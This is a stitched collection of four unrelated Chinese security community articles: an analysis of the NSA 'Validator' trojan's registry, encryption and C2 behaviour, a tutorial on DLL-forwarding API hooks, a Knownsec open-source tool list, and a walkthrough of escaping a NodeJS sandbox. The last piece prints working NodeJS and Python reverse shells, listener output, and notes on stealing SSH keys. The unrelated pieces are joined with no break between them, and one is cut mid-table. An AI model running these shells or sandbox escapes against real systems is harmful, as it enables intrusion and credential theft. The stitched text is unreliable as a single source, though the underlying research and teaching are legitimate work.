注册表项 | 内容 | 说明
---|---|---
TypeLib | {8C936AF9-243D-11D0-xxxx-xxxxxxxxxxxx} | Client
ID，由固定前缀8C936AF9-243D-11D0拼接上配置中的Clinet ID号
Version | 008.002.000.003 | 资源中的版本号信息
MiscStatus\\(默认) | 0 | 默认值为0，该项主要存储样本异或后的异常错误代码
TypeLib\DigitalProductId | 加密后的配置信息 | 自定义RC6加密，key为：66 39 71 3C 0F 85 99 81
20 19 35 43 FE 9A 84 11
在生成ClinetID编号时，采用异或位移的方式，如下图所示：该后门程序第一次启动时，注册表中并不会存在上述表项，“验证器”会直接使用资源中的缺省数据，然后写入上述注册表项中。在上述操作过程中，“验证器”木马会枚举注册表项HKLM\System\CurrentControlSet\Services和HKLM\SYSTEM\CurrentControlSet\Services\VxD，将注册表项名异或计算后进行比较，若找到符合表项，则会读取注册表项HKLM\SOFTWARE\Classes\CLSID\\{77032DAA-B7F2-101B-A1F0-01C29183BCA1}\TypeLib的内容，作为客户端（Clinet）ID值写入HKLM\SOFTWARE\Classes\CLSID\\{6AF33D21-9BC5-4f65-8654-B8059B822D91}\TypeLib注册表项，并设置异常码。分析认为此部分内容为“验证器”木马程序的容错机制。随后，校验当前模块是否由explorer.exe或avp.exe加载，若是，则忽略前述异常错误继续执行。随后“验证器”木马程序创建匿名互斥体，若创建成功，则再次创建线程执行后续操作。
**3.4.2线程函数2**
在该线程中，首先会更新配置文件时间用以刷新配置，随后创建命名互斥体HtmlInternetParser，其中会检查一个存在于本地磁盘的文件，该文件由后续远端命令指定。互斥体HtmlInternetParser对象创建成功后，开始轮询连接配置信息中的测试域名是否能够连通，使用的测试域名为：www.microsoft【.】com和www.yahoo【.】com。若轮询连接测试域名成功，则后续获取本机MAC地址和IP，以及ClientID、本组件版本号进行组包操作。对该数据包进行rc6与base64加密，rc6的key为：8B
4C 25 04 56 85 C9 75 06 33 C0 5E C2 08 31
F6，并通过标志位来选择使用配置信息中的CC。最后，连接CC发送并接收数据包，设置本次连接CC的时间，对数据包进行base64和rc6解密后，进行解析并执行功能，使用的CC地址为：www.frontadtime【.】com和195.128.235【.】229。“验证器”木马程序的网络通信，采用HTTP/HTTPS协议，默认端口号为80/443，并采用了POST请求。在发送数据包时，会附带请求头信息：EIag:
0d1975bf********9c:eac\r\n，其中”*”代表配置中的Client
ID。若网络通信失败，“验证器”木马程序会判断本次连接服务器的时间是否超过设定的时间间隔（默认为30天），若超过设定的时间间隔，则表明“验证器”木马程序在设定的时段没有正常工作。“验证器”后续将会卸载该组件，创建文件C:\Windows\wininit.ini并写入错误信息后退出。
## 重要预警
在成功提取国内某科研机构重要信息系统中的“验证器”（Validator）木马程序样本的基础上，360第一时间在国内开展扫描检测。令人遗憾的是，这款美国国家安全局（NSA）的标配木马的不同版本曾在中国上百个重要信息系统中运行，其植入时间远远早于“酸狐狸”攻击武器平台及其组件被公开曝光时间，说明NSA对至少上百个中国国内的重要信息系统实施网络攻击。时至今日，多个“验证器”木马程序仍在一些信息系统中运行，向NSA总部传送情报。可以预见的是，世界各地的重要信息基础设施中，正在运行的“验证器”木马程序数量会远远超过中国。 | 社区文章 |
# 【技术分享】实践API钩子拦截DLL库调用
|
##### 译文声明
本文是翻译文章，文章来源：pelock
原文地址：<https://www.pelock.com/articles/intercepting-dll-libraries-calls-api-hooking-in-practice>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ ****
**overXsky**](http://bobao.360.cn/member/contribute?uid=858486419)
**预估稿费：250RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
在日常分析使用某个软件的过程中，如果我们想要去挖掘软件的漏洞、或者是通过打补丁的方式给软件增添一些新的功能，抑或是为了记录下软件运行过程中被调用的函数及其参数，有时候我们需要劫持对某些DLL库的调用过程。在一般情况下，如果我们是软件的开发者或者该软件提供源码下载，那么刚才提到的问题只要对源码进行一定的修改就可以了，简直是小菜一碟。但是在更多情况下，我们无从获取软件或是库的源码，因为他们根本没有采用源码发行的方式。那这样我们是否就一筹莫展了呢？通过阅读这篇文章，我会告诉你最流行的“API钩子”方法是什么，并且会以略微不同的方式展现给大家。
**API钩子**
正如上文我们已经提到的，劫持DLL最流行的方法被称作“API钩子”——一种将库函数调用重定向到你的代码的技术。最为流行的API钩子库非微软的
Microsoft Detours
（常用于游戏破解）莫属，并且这个商业库被打上的价值标签已经高达9999.95美元（约68999元人民币）。再举一个例子，在Dephi语言中有一个库叫做
madCodeHook，他的商业价值约为349欧元（约2564元人民币）。
下面就让我们来看一看API钩子的具体实现原理。
对于已经加载的DLL库及对应函数，通过在想要钩取的函数头部首字节打上一个补丁（也叫重写，个人认为叫覆盖最为贴切），补丁内容为一个JMP指令，像是 JMP
NEAR 这样的形式，转换成16进制就是 E9 xx xx xx xx。如下图所示：
图1：被钩取的函数前后内容示意
当控制权被传递到我们钩取过的函数后，通常这时就可以执行我们自己想要执行的代码了，执行完毕后又会接着运行原函数然后返回到之前从DLL库中调用该函数的代码位置。
API钩子其实会导致一些问题，而问题的来源就在于编译过的软件结构和它本身的代码结构。当我们想要通过钩子本身来调用原函数的时候（通常不加处理情况下会导致一个死循环），我们必须要创建一个特殊的代码区块来调用原函数代码，这个代码区块有个别称叫做“蹦床”（个人觉得在国内更常被称为跳板），这样的话就不用管钩子本身是否在要调用的函数体内了。
另外需要说明的是，API钩子技术不是万能的，在受保护的DLL库中几乎不可能实现。说得详细一点就是，比如存在CRC校验保护的时候，无论是从硬盘上还是内存中对库DLL库代码的修改都是不可行的。
还有一点就是，经典的API钩子也不适用于DLL库导出的“伪函数”，这里的伪函数是指导出的变量、类指针等等。因为在这种类型的“函数”条件下我们根本不可能在原函数和我们的代码之间建立一个经典的代码钩子（事实上根本就没有函数可钩取）。那是不是就无可奈何了呢？上面我们提到的方法是改写原函数代码，而下面要介绍的第二种常见方法就是修改PE导出表。只不过这种方法的局限性很大，远不如前一种流行，而且只有很少的一部分钩子库支持它。
**DLL转发**
一种更加有创意但是也更为麻烦的API钩取方式叫做“DLL”转发，它通过Windows的内部机制来实现，基本原理就是转发DLL调用至其他模块。
DLL转发技术基于“替换表“来实现，所以也被称为“DLL代理”，它可以导出所有的原始库函数，也可以传递所有对库函数的调用——除了我们想要钩取的那部分函数。而函数调用是被通过一些鲜为人知的Windows机制传递给原函数库的，这样我们就可以借此来调用其他库函数，装作他们本来就是存储在我们使用的API钩子库里一样，但事实上这些代码被存储在其他的库中。弄明白以上这些过程，我们也就不难得知为什么要叫做“DLL转发”了。
**函数调用惯例**
函数调用惯例是一个低等级的用于传递函数参数和处理函数调用返回前的堆栈的方式。很大一部分情况下它取决于编译时的设置，并且在大多数高级编程语言中可以任意选择函数调用的方式，所以两者任取其一均可。为了让我们的API钩子库正常运行，它的钩取函数也必须使用和已经被钩取的函数相同的调用惯例。他们只有在二进制情况下相互兼容才不会引发像堆栈破坏之类的异常。
表1. 函数调用惯例
调用惯例高度依赖于编译器的默认设置，比如Delphi默认采用register调用惯例，C语言默认采用cdecl调用惯例。
WinAPI函数（Windows系统函数）默认使用stdcall调用惯例，所以在调用之前，函数的参数都使用push指令存储在栈中，然后call指令被执行，执行完毕后并没有必要去修正栈指针ESP，因为在stdcall调用惯例中，栈在函数返回前是自动修正的。这里值得一提的是，一个很有趣的现象是WinAPI中的有些函数并不使用stdcall而是C语言的cdecl，cdecl并不将参数存储于栈，但栈的修正会在调用完成后根据函数参数的数量被编译器修正。举一个例子，user32.dll中的一个函数wsprintfA()（它在C函数库中的对应是sprintf()）就采用cdecl惯例，这种调用方式是备受推崇的，因为这样除了编译器之外没有人知道究竟传递了多少个参数。
**API钩子实例**
作为一个例子，我想让它尽量简单易懂一点，只会用到一个测试库BlackBox.dll，它只导出两个函数Sum()和Divide()，想必你已经猜到了，第一个函数的作用是两个数的求和，第二个函数是两个数的除法。让我们假设我们拥有一个完整的库文档，并且清楚地知道这两个函数使用的调用惯例（假设我们有这个库的头文件），而且我们还知道它们各自都使用哪些参数。在其他情况下我们需要使用逆向工程来获得这些底层信息。
代码清单1：
// 该函数将两个数相加并将结果储存于Result变量中
// 成功返回TRUE，失败返回ERROR
BOOL __stdcall Sum(int Number1, int Number2, int * Result);
// 该函数将两个数相除并将结果储存于Result变量中
// 成功返回TRUE，失败返回ERROR
BOOL __stdcall Divide(int Number1, int Number2, int * Result);
在我们的样例库中，Divide()函数是有bug的，因为如果除0就会导致程序崩溃（假设我们的程序并没有做异常处理），现在我们的目标就是来修补这个漏洞。
**代理DLL**
为了修补BlackBox.dll中的漏洞，我们接下来需要创建一个中间库，能够使Divide()函数得以有效应用而不出现除0异常。该应用采用FASM编译器（波兰的mr
Tomasza Grysztar 创建）的32位汇编器。在下面你会看到带有精确注释的样例库模板。
代码清单2：样例库的开头
;------------------------------------------------- ; DLL 输出文件格式
;------------------------------------------------- format PE GUI 4.0 DLL
; DLL 入口点函数名
entry DllEntryPoint
; 导入的Windows函数和常数
include '%fasm%includewin32a.inc'
注意源代码的开头，你可以在找到输出文件的类型声明，并且在头文件、DLL库的函数入口点也可以放置这些代码。
代码清单3：未初始化的数据段
;------------------------------------------------- ; 未初始化的数据段
;------------------------------------------------- section '.bss' readable writeable
; uchwyt HMODULE oryginalnej biblioteki
hLibOrgdd ?
可执行文件和DLL库被分割为一个个独立的部分，他们其中之一是未初始化的数据段，这部分并不占用硬盘的空间，仅仅拥作于记录程序所使用的未初始化变量的整体大小信息。可执行文件的段名称并不重要（它被限制为最多只有8个字符），通常它会被赋以公司合同的名称。在这个段的声明中还会定义访问权限（如读、写、执行），但是在FASM编译器下.bss段的声明还会为变量创建一个未初始化的段。
代码清单4：数据段
;------------------------------------------------- ; 初始化的数据段
;------------------------------------------------- section '.data' data readable writeable
; 原始库的名称
szDllOrgdb 'BlackBox_org.dll',0
因为原始库已经有了名称了，所以这里我们重命名一个BlackBox_org.dll（它以ASCII形式存储于源代码中，以null结束），这个库会在后面用到。
代码清单5：带有DLL入口点的代码段
;------------------------------------------------- ; 库的代码段
;------------------------------------------------- section '.text' code readable executable
;------------------------------------------------- ; DLL库入口点 (DllMain)
;------------------------------------------------- proc DllEntryPoint hinstDLL, fdwReason, lpvReserved
moveax,[fdwReason]
; DLL library 加载完毕后立即传递事件
cmpeax,DLL_PROCESS_ATTACH
je_dll_attach
jmp_dll_exit
; 库已经加载
_dll_attach:
; 获得原始 DLL 库的句柄
; 如果想要调用原始函数就会使用
pushszDllOrg
call[GetModuleHandleA]
mov[hLibOrg],eax
; 返回 1 说明库初始化成功
moveax,1
_dll_exit:
ret
代码段包含所有库函数和DLL入口点函数。这是一个特殊的函数，它在库加载以后被Windows系统函数调用。代码段需要被标记上可执行的标记，以此来告诉操作系统这段内存区域包含可以执行的代码段。如果没有这样标记，那么任何想从这块内存区域执行代码的行为都会以触发CPU处理器的DEP（Data
Execution Prevention）内存保护机制而告终。在初始化函数内部（DllMain）,接收到 DLL_PROCESS_ATTACH
事件后我们将使用原始DLL库名称来获得他的句柄，也就是 HMODULE （这样之后就可以被调用了）。
代码清单6：过度优化保护
; 调用任何原始库
; BlackBox_org.dll 中的函数, 没有它FASM编译器就会
; 移除对库的引用并且不会被自动加载
calldummy
我们自定义的库会调用到原始库，但是如果我们一点引用也不放在源代码中，FASM编译器会移除所有对它的引用（优化）而且原始库并不会被自动加载，这就是为什么在ret指令后直接放了一个伪调用的缘故（这样在任何时候都不会执行）。
代码清单7：有效的Divide()函数代码
;------------------------------------------------- ; 我们修改后能够处理除0错误的Divide() 函数
;------------------------------------------------- proc Divide Number1, Number2, Result
; 检查除数是否为0
; 如果是的话返回ERROR代码
movecx,[Number2]
testecx,ecx
jeDivisionError
; 将第一个数字载入 EAX 处理器
moveax,[Number1]
;扩展 EDX 寄存器来处理有符号数
cdq
; 现在 EDX:EAX 寄存器对可以处理64位数据了
; EDX:EAX / ECX 除法的实现, 除法在EDX:EAX寄存器对
; 上实现，就像对待64位数据一样, 除法的结果保存在EAX
; 寄存器中, 余数保存在EDX 寄存器中
idiv ecx
; 检查有效的指向结果的指针
; 如果没有检测到则返回error 代码
movedx,[Result]
testedx,edx
jeDivisionError
; 在受保护的地址存储除法的结果
mov[edx],eax
; 以 exit code TRUE (1) 返回
moveax,1
jmpDivisionExit
; 除法错误，返回FALSE (0)
DivisionError:
sub eax,eax
DivisionExit:
; 从除法函数中返回
; 布尔型的exit 代码被设置在 EAX 寄存器中
ret
endp
修改后的Divide()函数的实现增添了对除0错误的校验，函数遇到错误会返回错误代码FALSE，另外还额外做了对指向结果变量result的指针非空检查，如果指针指向null也会报错。另外请注意，修改后的函数的调用惯例与原函数是完全一致的，并且在我们的这个例子中使用的是stdcall惯例，所以函数参数被传递到栈中，函数返回值储存于EAX寄存器，栈指针也被FASM编译器自动修复，方法是根据源代码中的ret声明生成ret
(number_of_parameters * 4)指令。
代码清单8：库的导入表
;------------------------------------------------- ; 我们的库使用的函数段
;------------------------------------------------- section '.idata' import data readable writeable
; 在代码中用到的库的列表
library kernel,'KERNEL32.DLL',
blackbox, 'BlackBox_org.dll'
; KERNEL32.dll库的函数列表
importkernel,
GetModuleHandleA, 'GetModuleHandleA'
; 声明了原始库的用途
; DLL 库会被自动加载
importblackbox,
dummy, 'Divide'
FASM编译器允许我们手动地定义我们自己的库调用到的库和函数，除了标准系统库，我们需要在这里添加一个对 BlackBox.dll
的引用。多亏于此，当Windows加载我们的钩子库的同时也会根据地址空间加载原始库，从而无需再手动调用 LoadLibraryA() 函数来加载它。
在某些情况下想要使用导入表来加载库甚至是强制性要求使用 LoadLibraryA() 的，它需要使用多线程应用程序中TLS（Thread Local
Storage）机制的动态链接库来支持。
代码清单9：函数导出表
;------------------------------------------------- ; 导出表段包含我们的库中导出的函数
; 这里我们也许要声明原始库中声明的函数
;------------------------------------------------- section '.edata' export data readable
; 导出函数列表及其指针
export'BlackBox.dll',
Sum, 'Sum',
Divide, 'Divide'
; 转发表名称, 首先目的库被存储 (无需.DLL扩展)
; 然后最终的函数名称被存储
Sum db 'BlackBox_org.Sum',0
在这个段中我们必须声明原始库中的所有函数，而且我们想要钩取的函数必须在代码中得以应用，想要传递给原始库的函数存储在一个特殊的文本格式中：
DestinationDllLibrary.FunctionName
或
DestinationDllLibrary.#1
以此来顺序导入函数而非按照名称的顺序。该机制的所有内部工作均交由Windows系统自身处理。以上为DLL转发。
代码清单10：重定位部分
;------------------------------------------------- ; 重定位部分
;------------------------------------------------- section '.reloc' fixups data discardable
我们的库中最后一个段是重定位段，它保证了我们的库能够正常运行。这是因为动态链接库被加载的基地址是非常多变的，而引起这个多变性的原因在于指针使用的绝对地址和汇编器的指令使用的绝对地址必须根据当前内存中的基地址做出更新，而这个基地址的信息正是由编译器在重定位段中生成的。
**总结**
这篇API钩子介绍的方法可以被成功应用于各种使用动态链接库的场合，较传统的经典API钩子方法而言各有利弊，但是在我看来本文的方法为实践打开了更大的拓展空间，并提供了一种更加简单的改变软件完整功能性的方法。该方法同样可以在高级语言中以适当的导出函数定义文件（DEF）的方式实现。 | 社区文章 |
The 404 Starlink Project was started by Knownsec 404Team in 2020. We aim to
denfend network and promote the Instrumentalizing of security research in
different fields through open source or open methods. Just like Starlink, this
project will link researchers with different security background.
Not only large tools which break security barriers，various small tools that
optimizing the daily experience are included. We will open all tools developed
by 404 Team, and continue to collect pain points in the process of security
research and penetration testing. The security field used to have various
problems, like tools jumbled, different levels obvious, and open source be
unmaintained. Through the 404 Starlink Project, we wish security field would
become a better place where people like to communicate and progress together.
[“404星链计划”](https://github.com/knownsec/404StarLink-Project)是知道创宇404实验室于2020年8月开始的计划，旨在通过开源或者开放的方式， **长期维护**
并推进涉及安全研究各个领域不同环节的工具化，就像星链一样，将立足于不同安全领域、不同安全环节的研究人员链接起来。
[“404星链计划”](https://github.com/knownsec/404StarLink-Project)主要目的是改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。
2020年11月，知道创宇404实验室正式推出星链计划2.0。通过星链计划核心社群成员作为核心，筛选 **优质、有意义、有趣、坚持维护**
的开源项目加入星链计划2.0，由404实验室核心成员及星链计划核心成员作为背书，将优质的开源项目汇聚成星河，为立足于不同安全领域的安全研究人员指明方向。代号
**Galaxy** 。
项目地址：<https://github.com/knownsec/404StarLink2.0-Galaxy>
星链计划2.0会将开源项目按照两个核心项作为主要指标：
* 成熟、有意义的开源项目 Open-Projects
* 有新意、解决痛点的开源项目 Fun-tools
入选星链计划2.0的项目至少需要满足以下四个要求：
* 安全相关的各个环节以及链路
* 开源
* 坚持维护
* 通过由404实验室以及星链计划核心成员组成的审阅组审阅
入选项目将由代码质量、技术难度、新颖度等多个维度评价打分(满分5星)，是否坚持维护将作为最重要的评价标准。入选Open-Projects的项目不得超过1年未更新，且超过6个月未更新的项目只能获得上限为4星的评价。入选Fun-Tools分类的开源项目由星链计划2.0核心社群成员判定当前的维护状态，被判定为未维护的项目将会被从星链计划中去除。
参与星链计划2.0的开源项目可以借由星链计划社群与开发者直接沟通，真正将研究人员和开发人员连在一起。
希望星链计划2.0能像北斗七星一样，引领安全研究人员前进的方向。
# Rules
* Positivity: 积极度，工具正处于积极维护期的项目将被标记为In，工具正出于弱维护期的项目将被标记为TBD，工具已经不再维护的的项目将被标记为OUT.
* Score: Open-Projects的评分上限为5星，Fun-tools的评分上限为4星.
# Contents
## 乙方工具向
# Details
## 乙方工具向
这个分类下主要聚焦乙方安全从业人员的不同使用场景。
### Reconnaissance 信息收集
在渗透测试前置准备工作过程种涉及到的各类信息收集
#### [ZoomEye-go](https://github.com/gyyyy/ZoomEye-go)
**项目链接：**
<https://github.com/gyyyy/ZoomEye-go>
**项目简述：** ZoomEye-go 是一款基于 ZoomEye API 开发的 Golang 库，提供了 ZoomEye
命令行模式，同时也可以作为SDK集成到其他工具中。该库可以让技术人员更便捷地搜索、筛选、导出 ZoomEye 的数据。
**推荐评语：**
ZoomEye-go是Golang版本的Zoomeye命令行工具，无论是直接下载release还是在使用Go编写的工具中引入都是不错的使用方案。
### Penetration Test 攻击与利用
在实际渗透测试过程中涉及到的工具
#### [CDK](https://github.com/cdk-team/CDK)
**项目链接：** <https://github.com/cdk-team/CDK>
**项目简述：**
CDK是一款为容器环境定制的渗透测试工具，在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的逃逸、横向移动、持久化利用方式，插件化管理。
**推荐评语：** 针对容器的渗透已经成了现代渗透中很重要的一环，而一款集成了各种场景以及漏洞的工具可以说是事半功倍了。
#### [MysqlT](https://github.com/BeichenDream/MysqlT) &
[WhetherMysqlSham](https://github.com/BeichenDream/WhetherMysqlSham)
**项目链接：**
* <https://github.com/BeichenDream/MysqlT>
* <https://github.com/BeichenDream/WhetherMysqlSham>
**项目简述：** MysqlT: 伪造Myslq服务端,并利用Mysql逻辑漏洞来获取客户端的任意文件反击攻击者.
WhetherMysqlSham：检测目标Mysql数据库是不是蜜罐。
**推荐评语：** 针对Mysql客户端攻击可以说大家已经很熟悉了，Mysqlt可以在利用的过程中节省很多麻烦，相应的反制工具设计思路也非常有趣。
### Back-penetration, intranet tools 后渗透、内网工具
在渗透测试后涉及到的权限维持，或者内网渗透涉及到的工具
#### [ServerScan](https://github.com/Adminisme/ServerScan)
**项目链接：** <https://github.com/Adminisme/ServerScan>
**项目简述：** 一款使用Golang开发且适用于攻防演习内网横向信息收集的高并发网络扫描、服务探测工具。
**推荐评语：**
网络扫描、服务探测工具并不稀奇。但专注于在内网环境的时候可用的工具就变少了很多，往往都需要用回nmap。这个工具依托于开发者诸多的实战经验，不但支持cs且在多种环境下都使用自如，实用体验极佳。
## Others 其他相关
其他安全链路下的安全类工具
#### [f8x](https://github.com/ffffffff0x/f8x)
**项目链接：** <https://github.com/ffffffff0x/f8x>
**项目简述：** 一款红/蓝队环境自动化部署工具,支持多种场景,渗透,开发,代理环境,服务可选项等。
**推荐评语：** 快速、针对、便携、无需环境依赖，这个工具解决了在红/蓝队场景下对环境最大的几个痛点，不得不说，这一定是深度从业者才能做的出来的好工具。
# Community
如果有问题可以在各项目下提交issue，如果有不错的工具推荐，可以向github提交issue, 也可以添加下方的讨论组中参与讨论。
1、Github issue: <https://github.com/knownsec/404StarLink2.0-Galaxy/issues>
2、微信群添加方式： 扫描下方二维码添加工作人员个人微信，并备注 **星链计划** ，会把大家拉到星链计划交流群中
* * * | 社区文章 |
原文： <https://blog.netspi.com/escape-nodejs-sandboxes/>
在这篇博客里，我们将在充分了解了NodeJS的解释器后，来探索如何进行 NodeJS 的沙箱逃逸 。
## 前言
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境，可以被开发者用来开发前端或者后端的程序语言。NodeJS
最初于2009年发布，现在被Netflix，微软和IBM等技术公司所使用。如今，NodeJS的下载量已经超过250，000，000，
甚至这个数量还在增长。因为其受欢迎程度高和应用广泛，是一个比较值得在安全方面进行探索的目标。
在NodeJS之前，我们仍有PHP、perl这样的服务器端脚本语言，虽然他们也有自己的安全问题。然而相比较的是，NodeJS和JavaScript已经有了许多的改进。但是由于
_eval()_ 函数的存在，使得其在命令注入方面并没有多大的不同。
_eval()_ 函数允许应用在操作系统的层面执行命令。当某些函数需要执行某些命令或者需要调用系统的bianry 的时候，开发也许会使用 _eval_
，但是最好采用一定的沙箱来禁止可执行的命令，最终防止攻击者拥有命令执行的权限。
而现在，我们要探究的就是如何深入了解NodeJS，并且尝试在允许命令执行的NodeJS沙箱逃逸出去。
## Reverse Shell
作为一个渗透测试人员，花费一定的时间来编写 Reverse Shell 应该是微不足道的事情。然而我们感谢
!(Wiremask)[<https://wiremask.eu/writeups/reverse-shell-on-a-nodejs-application/>] 让们已经有了一个 NodeJS 编写的 Reverse Shell 。
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.1.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
如果，你足够想幸运以及沙盒足够脆弱，那么我们将有了一个 Reverse Shell
。事实上，一个常见的沙盒应当是不允许用户简单的建立网络连接和读写文件以及无法导入一些库。
## Recon
第一步，我们需要收集足够的信息。首先，我们明确我们有执行任意命令但是由于沙盒的存在，我们需要绕过这个沙盒。我们第一个重要的步骤，就是通过执行 payload
的权限是怎样的。最直接了当的方法，就是将堆栈或者标准错误输出转发出来，然而并不是所有的web 应用都有这样的功能。我们根据 !(StackOver
flow)[<https://stackoverflow.com/questions/591857/how-can-i-get-a-javascript-stack-trace-when-i-throw-an-exception#635852>] 的帖子，我们可以使用一定的payload来打印信息。
function stackTrace() {
var err = new Error();
print(err.stack);
}
当我们执行这个payload 到时候，我们会得到 stack strace：
Error
at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at Array.map ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29
...
通过上面的输出，我们可以得知 sandbox.js eval 在 load.templateSources
中被使用。我们也可以尝试找出当前代码的上下文。我们想去尝试的打印这个但是不能简单打印这个对象，我们需要使用 _JSON.stringify()_
> print(JSON.stringify(this))
< TypeError: Converting circular structure to JSON
不幸的是，这有一些循环使用，我们需要一个识别并且截断它们的脚本。方便的是，我们可以在我们的 payload中使用 ！( _JSON.prun_
)[<https://github.com/Canop/JSON.prune>]
> print(JSON.prune(this))
< {
"console": {},
"global": "-pruned-",
"process": {
"title": "/usr/local/nvm/versions/node/v8.9.0/bin/node",
"version": "v8.9.0",
"moduleLoadList": [ ... ],
...
}
最初 _JSON.prun_
是不支持枚举可用函数的，我们需要修改其来达到我们的目的，从而更好确定哪些函数可以使用。其次执行这个payload将会有一些如上的大量输出。从中我们可以看到
process 包含了一些环境信息，如 noejs 的版本和 可使用的 moduleLoadList。而 moduleLoadList
也许就是我们达到目的的关键。
## NodeJS Giving Us The Tools For Success
我们在 moduleLoadList 中寻找可用的东西。如果我们看文章起初的 Reverse shell code ，我们知道我们仅仅需要两个模块：net
和 child_process 。在 moduleLoadList
中，这两个模块应该是被加载过的，我们要做的是如何访问这两个已经加载了的模块。如果没有，我们需要使用NodeJs本身的内部库和一些相关API。通过阅读Node的官方文档，我们知道
dlopen() 的一些使用约定？(原文：we see some promise with dlopen(). )
。我们跳过这个方法，因为有更简单的方法可以使用： _process.binding()_ 。如果我们继续探索，我们最后会了解到 fs.js
这个文件，这是一个用来做FIle I/O 的NodeJS 的库文件。在这，我们会知道， _process.binding('fs')_
这个方法正在被使用，我们仅仅知道这个方法将会返回 fs 模块。我们使用 _JSON.prune_ 打印出函数的名字，我们继续探索哪些是可以使用的。
> var fs = this.process.binding('fs');
> print(JSON.prune(fs));
< {
"access": "func access()",
"close": "func close()",
"open": "func open()",
"read": "func read()",
...
"rmdir": "func rmdir()",
"mkdir": "func mkdir()",
...
}
在对上面的输出进行了一番研究后，我们发现这些功能或者说是函数都是直接由 C++
实现。并且正当的使用它们，可以允许我们进行文件的读写。有了这个，我们甚至可以向文件系统里写入公钥。如，我们将公钥写入
~/.ssh/authorized_keys 或者我们读取 ~/.ssh/id_rsa。
但是，我们的目的是要绕过沙箱的网络限制来反弹shell(虽然能写入公钥了...),因此我们将尝试将复制 net 和 child_process
的packages。
## Mucking about the Internals
这里我们采用了一个最简单的方法，!(CapctionSet)[<https://gist.github.com/CapacitorSet/c41ab55a54437dcbcb4e62713a195822>]
在GitHub上做了需要繁重的工作重写了这些函数在没有 require:spwn_sync 的执行环境下。我们仅仅要修改的是将
process.binding() 修改为 this.process.binding() 并且将 console.log() 修改为 print()
。以及最后，我们要弄清楚，我们如何执行 Reverse shell。 最经典方法就是我们去寻找netcat ,perl ,python
等等。例如我们这里使用Python
var resp = spawnSync('python',
['-c',
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
]
);
print(resp.stdout);
print(resp.stderr);
然后紧接着确保 nc 监听对了端口。当面执行 payload 后，我们会收到 反弹的shell了。
root@netspi$ nc -nvlp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from [192.168.1.1] port 443 [tcp/*] accepted (family 2, sport 48438)
sh: no job control in this shell
sh-4.2$ whoami
whoami
user
sh-4.2$ ifconfig
ifconfig
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 192.168.1.1 netmask 255.255.240.0 broadcast 192.168.1.255
ether de:ad:be:ee:ef:00 txqueuelen 1000 (Ethernet)
RX packets 4344691 bytes 1198637148 (1.1 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4377151 bytes 1646033264 (1.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 126582565 bytes 25595751878 (23.8 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 126582565 bytes 25595751878 (23.8 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 | 社区文章 |
Subsets and Splits